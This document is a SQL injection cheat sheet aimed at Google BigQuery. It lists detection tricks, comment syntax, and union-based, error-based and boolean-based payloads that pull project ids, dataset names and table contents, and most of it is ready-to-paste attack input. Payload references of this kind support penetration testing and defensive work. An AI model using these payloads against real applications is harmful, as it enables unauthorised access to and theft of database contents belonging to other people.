Google BigQuery SQL Injection

Summary

Detection

- Use a classic single quote to trigger an error: `'`
- Identify BigQuery using backtick notation: `SELECT .... FROM `` AS ...`

```
# Gathering project id
select @@project_id

# Gathering all dataset names
select schema_name from INFORMATION_SCHEMA.SCHEMATA

# Gathering data from specific project id & dataset
select * from `project_id.dataset_name.table_name`
```

BigQuery Comment

```
select 1#from here it is not working
select 1/*between those it is not working*/
```

BigQuery Union Based

```
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT 'asd'),1,1,1,1,1,1)) AS
T1 GROUP BY column_name#
true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT
@@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
' GROUP BY column_name UNION ALL SELECT column_name,1,1 FROM  (select column_name AS
new_name from `project_id.dataset_name.table_name`) AS A GROUP BY column_name#
```

BigQuery Error Based

```
# Error based - division by zero
' OR if(1/(length((select('a')))-1)=1,true,false) OR '

# Error based - casting: select CAST(@@project_id AS INT64)
dataset_name.column_name` union all select CAST(@@project_id AS INT64) ORDER BY 1
DESC#
```

BigQuery Boolean Based

```
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit
1),1,1)='A'#
```

BigQuery Time Based

- Time based functions does not exist in the BigQuery syntax.

References

- BigQuery SQL Injection Cheat Sheet - Ozgur Alp - Feb 14
- BigQuery Documentation - Query Syntax
- BigQuery Documentation - Functions and Operators
- Akamai Web Application Firewall Bypass Journey: Exploiting “Google BigQuery” SQL Injection Vulnerability - By Duc Nguyen The, March 31, 2020